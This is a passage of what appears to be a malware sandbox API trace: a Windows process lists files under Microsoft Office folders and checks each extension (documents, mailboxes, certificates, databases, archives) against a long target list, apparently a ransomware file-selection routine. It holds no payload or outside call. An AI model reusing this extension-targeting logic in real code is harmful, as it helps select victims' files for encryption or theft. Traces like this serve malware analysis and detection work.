(lpString1=".gz", lpString2="ICO") returned -1 [0251.193] lstrlenW (lpString=".h") returned 2 [0251.193] lstrcmpiW (lpString1=".h", lpString2="CO") returned -1 [0251.193] lstrlenW (lpString=".hdr") returned 4 [0251.193] lstrcmpiW (lpString1=".hdr", lpString2=".ICO") returned -1 [0251.193] lstrlenW (lpString=".hpp") returned 4 [0251.193] lstrcmpiW (lpString1=".hpp", lpString2=".ICO") returned -1 [0251.193] lstrlenW (lpString=".hta") returned 4 [0251.193] lstrcmpiW (lpString1=".hta", lpString2=".ICO") returned -1 [0251.193] lstrlenW (lpString=".htc") returned 4 [0251.193] lstrcmpiW (lpString1=".htc", lpString2=".ICO") returned -1 [0251.193] lstrlenW (lpString=".htm") returned 4 [0251.193] lstrcmpiW (lpString1=".htm", lpString2=".ICO") returned -1 [0251.193] lstrlenW (lpString=".html") returned 5 [0251.193] lstrcmpiW (lpString1=".html", lpString2="M.ICO") returned -1 [0251.194] lstrlenW (lpString=".icb") returned 4 [0251.194] lstrcmpiW (lpString1=".icb", lpString2=".ICO") returned -1 [0251.194] lstrlenW (lpString=".ics") returned 4 [0251.194] lstrcmpiW (lpString1=".ics", lpString2=".ICO") returned 1 [0251.194] lstrlenW (lpString=".iff") returned 4 [0251.194] lstrcmpiW (lpString1=".iff", lpString2=".ICO") returned 1 [0251.194] lstrlenW (lpString=".inc") returned 4 [0251.194] lstrcmpiW (lpString1=".inc", lpString2=".ICO") returned 1 [0251.194] lstrlenW (lpString=".indd") returned 5 [0251.194] lstrcmpiW (lpString1=".indd", lpString2="M.ICO") returned -1 [0251.194] lstrlenW (lpString=".ini") returned 4 [0251.194] lstrcmpiW (lpString1=".ini", lpString2=".ICO") returned 1 [0251.194] lstrlenW (lpString=".iqy") returned 4 [0251.194] lstrcmpiW (lpString1=".iqy", lpString2=".ICO") returned 1 [0251.194] lstrlenW (lpString=".j2c") returned 4 [0251.195] lstrcmpiW (lpString1=".j2c", lpString2=".ICO") returned 1 [0251.195] lstrlenW (lpString=".j2k") returned 4 [0251.195] lstrcmpiW (lpString1=".j2k", lpString2=".ICO") returned 1 [0251.195] lstrlenW (lpString=".java") returned 5 [0251.195] lstrcmpiW (lpString1=".java", lpString2="M.ICO") returned -1 [0251.195] lstrlenW (lpString=".jp2") returned 4 [0251.195] lstrcmpiW (lpString1=".jp2", lpString2=".ICO") returned 1 [0251.195] lstrlenW (lpString=".jpc") returned 4 [0251.195] lstrcmpiW (lpString1=".jpc", lpString2=".ICO") returned 1 [0251.195] lstrlenW (lpString=".jpe") returned 4 [0251.195] lstrcmpiW (lpString1=".jpe", lpString2=".ICO") returned 1 [0251.195] lstrlenW (lpString=".jpeg") returned 5 [0251.195] lstrcmpiW (lpString1=".jpeg", lpString2="M.ICO") returned -1 [0251.195] lstrlenW (lpString=".jpf") returned 4 [0251.196] lstrcmpiW (lpString1=".jpf", lpString2=".ICO") returned 1 [0251.196] lstrlenW (lpString=".jpg") returned 4 [0251.196] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0251.196] lstrlenW (lpString=".jpx") returned 4 [0251.196] lstrcmpiW (lpString1=".jpx", lpString2=".ICO") returned 1 [0251.196] lstrlenW (lpString=".js") returned 3 [0251.196] lstrcmpiW (lpString1=".js", lpString2="ICO") returned -1 [0251.196] lstrlenW (lpString=".jsf") returned 4 [0251.196] lstrcmpiW (lpString1=".jsf", lpString2=".ICO") returned 1 [0251.196] lstrlenW (lpString=".json") returned 5 [0251.196] lstrcmpiW (lpString1=".json", lpString2="M.ICO") returned -1 [0251.196] lstrlenW (lpString=".jsp") returned 4 [0251.196] lstrcmpiW (lpString1=".jsp", lpString2=".ICO") returned 1 [0251.196] lstrlenW (lpString=".kdc") returned 4 [0251.196] lstrcmpiW (lpString1=".kdc", lpString2=".ICO") returned 1 [0251.197] lstrlenW (lpString=".kmz") returned 4 [0251.197] lstrcmpiW (lpString1=".kmz", lpString2=".ICO") returned 1 [0251.197] lstrlenW (lpString=".kwm") returned 4 [0251.197] lstrcmpiW (lpString1=".kwm", lpString2=".ICO") returned 1 [0251.197] lstrlenW (lpString=".lasso") returned 6 [0251.197] lstrcmpiW (lpString1=".lasso", lpString2="RM.ICO") returned -1 [0251.197] lstrlenW (lpString=".lbi") returned 4 [0251.197] lstrcmpiW (lpString1=".lbi", lpString2=".ICO") returned 1 [0251.197] lstrlenW (lpString=".lgf") returned 4 [0251.197] lstrcmpiW (lpString1=".lgf", lpString2=".ICO") returned 1 [0251.197] lstrlenW (lpString=".lgp") returned 4 [0251.197] lstrcmpiW (lpString1=".lgp", lpString2=".ICO") returned 1 [0251.197] lstrlenW (lpString=".log") returned 4 [0251.197] lstrcmpiW (lpString1=".log", lpString2=".ICO") returned 1 [0251.197] lstrlenW (lpString=".m1v") returned 4 [0251.198] lstrcmpiW (lpString1=".m1v", lpString2=".ICO") returned 1 [0251.198] lstrlenW (lpString=".m4a") returned 4 [0251.198] lstrcmpiW (lpString1=".m4a", lpString2=".ICO") returned 1 [0251.198] lstrlenW (lpString=".m4v") returned 4 [0251.198] lstrcmpiW (lpString1=".m4v", lpString2=".ICO") returned 1 [0251.198] lstrlenW (lpString=".max") returned 4 [0251.198] lstrcmpiW (lpString1=".max", lpString2=".ICO") returned 1 [0251.198] lstrlenW (lpString=".md") returned 3 [0251.198] lstrcmpiW (lpString1=".md", lpString2="ICO") returned -1 [0251.198] lstrlenW (lpString=".mda") returned 4 [0251.198] lstrcmpiW (lpString1=".mda", lpString2=".ICO") returned 1 [0251.198] lstrlenW (lpString=".mdb") returned 4 [0251.198] lstrcmpiW (lpString1=".mdb", lpString2=".ICO") returned 1 [0251.198] lstrlenW (lpString=".mde") returned 4 [0251.199] lstrcmpiW (lpString1=".mde", lpString2=".ICO") returned 1 [0251.199] lstrlenW (lpString=".mdf") returned 4 [0251.199] lstrcmpiW (lpString1=".mdf", lpString2=".ICO") returned 1 [0251.199] lstrlenW (lpString=".mdw") returned 4 [0251.199] lstrcmpiW (lpString1=".mdw", lpString2=".ICO") returned 1 [0251.199] lstrlenW (lpString=".mef") returned 4 [0251.199] lstrcmpiW (lpString1=".mef", lpString2=".ICO") returned 1 [0251.199] lstrlenW (lpString=".mft") returned 4 [0251.199] lstrcmpiW (lpString1=".mft", lpString2=".ICO") returned 1 [0251.199] lstrlenW (lpString=".mfw") returned 4 [0251.199] lstrcmpiW (lpString1=".mfw", lpString2=".ICO") returned 1 [0251.199] lstrlenW (lpString=".mht") returned 4 [0251.199] lstrcmpiW (lpString1=".mht", lpString2=".ICO") returned 1 [0251.200] lstrlenW (lpString=".mhtml") returned 6 [0251.200] lstrcmpiW (lpString1=".mhtml", lpString2="RM.ICO") returned -1 [0251.200] lstrlenW (lpString=".mka") returned 4 [0251.200] lstrcmpiW (lpString1=".mka", lpString2=".ICO") returned 1 [0251.200] lstrlenW (lpString=".mkidx") returned 6 [0251.200] lstrcmpiW (lpString1=".mkidx", lpString2="RM.ICO") returned -1 [0251.200] lstrlenW (lpString=".mkv") returned 4 [0251.200] lstrcmpiW (lpString1=".mkv", lpString2=".ICO") returned 1 [0251.200] lstrlenW (lpString=".mos") returned 4 [0251.200] lstrcmpiW (lpString1=".mos", lpString2=".ICO") returned 1 [0251.200] lstrlenW (lpString=".mov") returned 4 [0251.200] lstrcmpiW (lpString1=".mov", lpString2=".ICO") returned 1 [0251.200] lstrlenW (lpString=".mp3") returned 4 [0251.200] lstrcmpiW (lpString1=".mp3", lpString2=".ICO") returned 1 [0251.201] lstrlenW (lpString=".mp4") returned 4 [0251.201] lstrcmpiW (lpString1=".mp4", lpString2=".ICO") returned 1 [0251.201] lstrlenW (lpString=".mpeg") returned 5 [0251.201] lstrcmpiW (lpString1=".mpeg", lpString2="M.ICO") returned -1 [0251.201] lstrlenW (lpString=".mpg") returned 4 [0251.201] lstrcmpiW (lpString1=".mpg", lpString2=".ICO") returned 1 [0251.201] lstrlenW (lpString=".mpv") returned 4 [0251.201] lstrcmpiW (lpString1=".mpv", lpString2=".ICO") returned 1 [0251.201] lstrlenW (lpString=".mrw") returned 4 [0251.201] lstrcmpiW (lpString1=".mrw", lpString2=".ICO") returned 1 [0251.201] lstrlenW (lpString=".msg") returned 4 [0251.201] lstrcmpiW (lpString1=".msg", lpString2=".ICO") returned 1 [0251.201] lstrlenW (lpString=".mxl") returned 4 [0251.201] lstrcmpiW (lpString1=".mxl", lpString2=".ICO") returned 1 [0251.201] lstrlenW (lpString=".myd") returned 4 [0251.202] lstrcmpiW (lpString1=".myd", lpString2=".ICO") returned 1 [0251.202] lstrlenW (lpString=".myi") returned 4 [0251.202] lstrcmpiW (lpString1=".myi", lpString2=".ICO") returned 1 [0251.202] lstrlenW (lpString=".nef") returned 4 [0251.202] lstrcmpiW (lpString1=".nef", lpString2=".ICO") returned 1 [0251.202] lstrlenW (lpString=".nrw") returned 4 [0251.202] lstrcmpiW (lpString1=".nrw", lpString2=".ICO") returned 1 [0251.202] lstrlenW (lpString=".obj") returned 4 [0251.202] lstrcmpiW (lpString1=".obj", lpString2=".ICO") returned 1 [0251.202] lstrlenW (lpString=".odb") returned 4 [0251.202] lstrcmpiW (lpString1=".odb", lpString2=".ICO") returned 1 [0251.202] lstrlenW (lpString=".odc") returned 4 [0251.576] lstrcmpiW (lpString1=".odc", lpString2=".ICO") returned 1 [0251.576] lstrlenW (lpString=".odm") returned 4 [0251.576] lstrcmpiW (lpString1=".odm", lpString2=".ICO") returned 1 [0251.576] lstrlenW (lpString=".odp") returned 4 [0251.576] lstrcmpiW (lpString1=".odp", lpString2=".ICO") returned 1 [0251.576] lstrlenW (lpString=".ods") returned 4 [0251.576] lstrcmpiW (lpString1=".ods", lpString2=".ICO") returned 1 [0251.576] lstrlenW (lpString=".oft") returned 4 [0251.576] lstrcmpiW (lpString1=".oft", lpString2=".ICO") returned 1 [0251.576] lstrlenW (lpString=".one") returned 4 [0251.576] lstrcmpiW (lpString1=".one", lpString2=".ICO") returned 1 [0251.576] lstrlenW (lpString=".onepkg") returned 7 [0251.576] lstrcmpiW (lpString1=".onepkg", lpString2="ORM.ICO") returned -1 [0251.577] lstrlenW (lpString=".onetoc2") returned 8 [0251.577] lstrcmpiW (lpString1=".onetoc2", lpString2="FORM.ICO") returned -1 [0251.577] lstrlenW (lpString=".opt") returned 4 [0251.577] lstrcmpiW (lpString1=".opt", lpString2=".ICO") returned 1 [0251.577] lstrlenW (lpString=".oqy") returned 4 [0251.577] lstrcmpiW (lpString1=".oqy", lpString2=".ICO") returned 1 [0251.577] lstrlenW (lpString=".orf") returned 4 [0251.577] lstrcmpiW (lpString1=".orf", lpString2=".ICO") returned 1 [0251.577] lstrlenW (lpString=".p12") returned 4 [0251.577] lstrcmpiW (lpString1=".p12", lpString2=".ICO") returned 1 [0251.577] lstrlenW (lpString=".p7b") returned 4 [0251.577] lstrcmpiW (lpString1=".p7b", lpString2=".ICO") returned 1 [0251.577] lstrlenW (lpString=".p7c") returned 4 [0251.578] lstrcmpiW (lpString1=".p7c", lpString2=".ICO") returned 1 [0251.578] lstrlenW (lpString=".pam") returned 4 [0251.578] lstrcmpiW (lpString1=".pam", lpString2=".ICO") returned 1 [0251.578] lstrlenW (lpString=".pbm") returned 4 [0251.578] lstrcmpiW (lpString1=".pbm", lpString2=".ICO") returned 1 [0251.578] lstrlenW (lpString=".pct") returned 4 [0251.578] lstrcmpiW (lpString1=".pct", lpString2=".ICO") returned 1 [0251.578] lstrlenW (lpString=".pcx") returned 4 [0251.578] lstrcmpiW (lpString1=".pcx", lpString2=".ICO") returned 1 [0251.578] lstrlenW (lpString=".pdd") returned 4 [0251.578] lstrcmpiW (lpString1=".pdd", lpString2=".ICO") returned 1 [0251.578] lstrlenW (lpString=".pdf") returned 4 [0251.578] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0251.578] lstrlenW (lpString=".pdp") returned 4 [0251.578] lstrcmpiW (lpString1=".pdp", lpString2=".ICO") returned 1 [0251.579] lstrlenW (lpString=".pef") returned 4 [0251.579] lstrcmpiW (lpString1=".pef", lpString2=".ICO") returned 1 [0251.579] lstrlenW (lpString=".pem") returned 4 [0251.579] lstrcmpiW (lpString1=".pem", lpString2=".ICO") returned 1 [0251.579] lstrlenW (lpString=".pff") returned 4 [0251.579] lstrcmpiW (lpString1=".pff", lpString2=".ICO") returned 1 [0251.579] lstrlenW (lpString=".pfm") returned 4 [0251.579] lstrcmpiW (lpString1=".pfm", lpString2=".ICO") returned 1 [0251.579] lstrlenW (lpString=".pfx") returned 4 [0251.579] lstrcmpiW (lpString1=".pfx", lpString2=".ICO") returned 1 [0251.579] lstrlenW (lpString=".pgm") returned 4 [0251.579] lstrcmpiW (lpString1=".pgm", lpString2=".ICO") returned 1 [0251.579] lstrlenW (lpString=".php") returned 4 [0251.579] lstrcmpiW (lpString1=".php", lpString2=".ICO") returned 1 [0251.579] lstrlenW (lpString=".php3") returned 5 [0251.580] lstrcmpiW (lpString1=".php3", lpString2="M.ICO") returned -1 [0251.580] lstrlenW (lpString=".php4") returned 5 [0251.580] lstrcmpiW (lpString1=".php4", lpString2="M.ICO") returned -1 [0251.580] lstrlenW (lpString=".php5") returned 5 [0251.580] lstrcmpiW (lpString1=".php5", lpString2="M.ICO") returned -1 [0251.580] lstrlenW (lpString=".phtml") returned 6 [0251.580] lstrcmpiW (lpString1=".phtml", lpString2="RM.ICO") returned -1 [0251.580] lstrlenW (lpString=".pict") returned 5 [0251.580] lstrcmpiW (lpString1=".pict", lpString2="M.ICO") returned -1 [0251.580] lstrlenW (lpString=".pl") returned 3 [0251.580] lstrcmpiW (lpString1=".pl", lpString2="ICO") returned -1 [0251.581] lstrlenW (lpString=".pls") returned 4 [0251.581] lstrcmpiW (lpString1=".pls", lpString2=".ICO") returned 1 [0251.581] lstrlenW (lpString=".pm") returned 3 [0251.581] lstrcmpiW (lpString1=".pm", lpString2="ICO") returned -1 [0251.581] lstrlenW (lpString=".png") returned 4 [0251.581] lstrcmpiW (lpString1=".png", lpString2=".ICO") returned 1 [0251.581] lstrlenW (lpString=".pnm") returned 4 [0251.581] lstrcmpiW (lpString1=".pnm", lpString2=".ICO") returned 1 [0251.581] lstrlenW (lpString=".pot") returned 4 [0251.581] lstrcmpiW (lpString1=".pot", lpString2=".ICO") returned 1 [0251.581] lstrlenW (lpString=".potm") returned 5 [0251.581] lstrcmpiW (lpString1=".potm", lpString2="M.ICO") returned -1 [0251.581] lstrlenW (lpString=".potx") returned 5 [0251.581] lstrcmpiW (lpString1=".potx", lpString2="M.ICO") returned -1 [0251.581] lstrlenW (lpString=".ppa") returned 4 [0251.582] lstrcmpiW (lpString1=".ppa", lpString2=".ICO") returned 1 [0251.582] lstrlenW (lpString=".ppam") returned 5 [0251.582] lstrcmpiW (lpString1=".ppam", lpString2="M.ICO") returned -1 [0251.582] lstrlenW (lpString=".ppm") returned 4 [0251.582] lstrcmpiW (lpString1=".ppm", lpString2=".ICO") returned 1 [0251.582] lstrlenW (lpString=".pps") returned 4 [0251.582] lstrcmpiW (lpString1=".pps", lpString2=".ICO") returned 1 [0251.582] lstrlenW (lpString=".ppsm") returned 5 [0251.582] lstrcmpiW (lpString1=".ppsm", lpString2="M.ICO") returned -1 [0251.582] lstrlenW (lpString=".ppt") returned 4 [0251.582] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0251.582] lstrlenW (lpString=".pptm") returned 5 [0251.582] lstrcmpiW (lpString1=".pptm", lpString2="M.ICO") returned -1 [0251.582] lstrlenW (lpString=".pptx") returned 5 [0251.582] lstrcmpiW (lpString1=".pptx", lpString2="M.ICO") returned -1 [0251.582] lstrlenW (lpString=".prn") returned 4 [0251.583] lstrcmpiW (lpString1=".prn", lpString2=".ICO") returned 1 [0251.583] lstrlenW (lpString=".ps") returned 3 [0251.583] lstrcmpiW (lpString1=".ps", lpString2="ICO") returned -1 [0251.583] lstrlenW (lpString=".psb") returned 4 [0251.583] lstrcmpiW (lpString1=".psb", lpString2=".ICO") returned 1 [0251.583] lstrlenW (lpString=".psd") returned 4 [0251.583] lstrcmpiW (lpString1=".psd", lpString2=".ICO") returned 1 [0251.583] lstrlenW (lpString=".pst") returned 4 [0251.583] lstrcmpiW (lpString1=".pst", lpString2=".ICO") returned 1 [0251.583] lstrlenW (lpString=".ptx") returned 4 [0251.583] lstrcmpiW (lpString1=".ptx", lpString2=".ICO") returned 1 [0251.583] lstrlenW (lpString=".pub") returned 4 [0251.583] lstrcmpiW (lpString1=".pub", lpString2=".ICO") returned 1 [0251.583] lstrlenW (lpString=".pwm") returned 4 [0251.583] lstrcmpiW (lpString1=".pwm", lpString2=".ICO") returned 1 [0251.583] lstrlenW (lpString=".pxr") returned 4 [0251.584] lstrcmpiW (lpString1=".pxr", lpString2=".ICO") returned 1 [0251.584] lstrlenW (lpString=".py") returned 3 [0251.584] lstrcmpiW (lpString1=".py", lpString2="ICO") returned -1 [0251.584] lstrlenW (lpString=".qt") returned 3 [0251.584] lstrcmpiW (lpString1=".qt", lpString2="ICO") returned -1 [0251.584] lstrlenW (lpString=".r3d") returned 4 [0251.584] lstrcmpiW (lpString1=".r3d", lpString2=".ICO") returned 1 [0251.584] lstrlenW (lpString=".raf") returned 4 [0251.584] lstrcmpiW (lpString1=".raf", lpString2=".ICO") returned 1 [0251.584] lstrlenW (lpString=".rar") returned 4 [0251.584] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0251.584] lstrlenW (lpString=".raw") returned 4 [0251.584] lstrcmpiW (lpString1=".raw", lpString2=".ICO") returned 1 [0251.585] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xfffe) returned 0x43be008 [0251.585] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\*", lpFindFileData=0x38ee920 | out: lpFindFileData=0x38ee920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51d354f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6245c0 [0252.011] FindNextFileW (in: hFindFile=0x6245c0, lpFindFileData=0x38ee920 | out: lpFindFileData=0x38ee920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51d354f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.011] FindNextFileW (in: hFindFile=0x6245c0, lpFindFileData=0x38ee920 | out: lpFindFileData=0x38ee920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51d354f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2021e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Customer Support.fdt", cAlternateFileName="CUSTOM~1.FDT")) returned 1 [0252.012] FindClose (in: hFindFile=0x6245c0 | out: hFindFile=0x6245c0) returned 1 [0252.136] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x43be008 | out: hHeap=0x590000) returned 1 [0252.136] FindNextFileW (in: hFindFile=0x624540, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsVersion1Warning.htm", cAlternateFileName="FORMSV~1.HTM")) returned 1 [0252.137] FindClose (in: hFindFile=0x624540 | out: hFindFile=0x624540) returned 1 [0252.138] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x43ae000 | out: hHeap=0x590000) returned 1 [0252.138] FindNextFileW (in: hFindFile=0x6244c0, lpFindFileData=0x38eee18 | out: lpFindFileData=0x38eee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveForms3", cAlternateFileName="GR96F1~1")) returned 1 [0252.138] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xfffe) returned 0x43ae000 [0252.138] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\*", lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x624540 [0253.661] FindNextFileW (in: hFindFile=0x624540, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.662] FindNextFileW (in: hFindFile=0x624540, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eaf6290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADD.GIF", cAlternateFileName="")) returned 1 [0253.663] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xfffe) returned 0x43be008 [0253.663] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\*", lpFindFileData=0x38ee920 | out: lpFindFileData=0x38ee920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x624600 [0253.814] FindNextFileW (in: hFindFile=0x624600, lpFindFileData=0x38ee920 | out: lpFindFileData=0x38ee920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.814] FindNextFileW (in: hFindFile=0x624600, lpFindFileData=0x38ee920 | out: lpFindFileData=0x38ee920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5127f1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe.css", cAlternateFileName="")) returned 1 [0253.814] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xfffe) returned 0x43ee020 [0253.816] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana\\*", lpFindFileData=0x38ee6a4 | out: lpFindFileData=0x38ee6a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528d0030, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x624640 [0254.492] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x38ee6a4 | out: lpFindFileData=0x38ee6a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528d0030, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.492] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x38ee6a4 | out: lpFindFileData=0x38ee6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0255.805] FindNextFileW (in: hFindFile=0x624680, lpFindFileData=0x38ee6a4 | out: lpFindFileData=0x38ee6a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528d0030, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.805] FindNextFileW (in: hFindFile=0x624680, lpFindFileData=0x38ee6a4 | out: lpFindFileData=0x38ee6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BUTTON.GIF", cAlternateFileName="")) returned 1 [0255.806] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0255.806] lstrlenW (lpString=".3ds") returned 4 [0255.806] lstrcmpiW (lpString1=".3ds", lpString2=".GIF") returned -1 [0255.806] lstrlenW (lpString=".3fr") returned 4 [0255.806] lstrcmpiW (lpString1=".3fr", lpString2=".GIF") returned -1 [0255.806] lstrlenW (lpString=".3g2") returned 4 [0255.806] lstrcmpiW (lpString1=".3g2", lpString2=".GIF") returned -1 [0255.806] lstrlenW (lpString=".3gp") returned 4 [0255.806] lstrcmpiW (lpString1=".3gp", lpString2=".GIF") returned -1 [0255.806] lstrlenW (lpString=".7z") returned 3 [0255.806] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0255.806] lstrlenW (lpString=".accda") returned 6 [0255.807] lstrcmpiW (lpString1=".accda", lpString2="ON.GIF") returned -1 [0255.807] lstrlenW (lpString=".accdb") returned 6 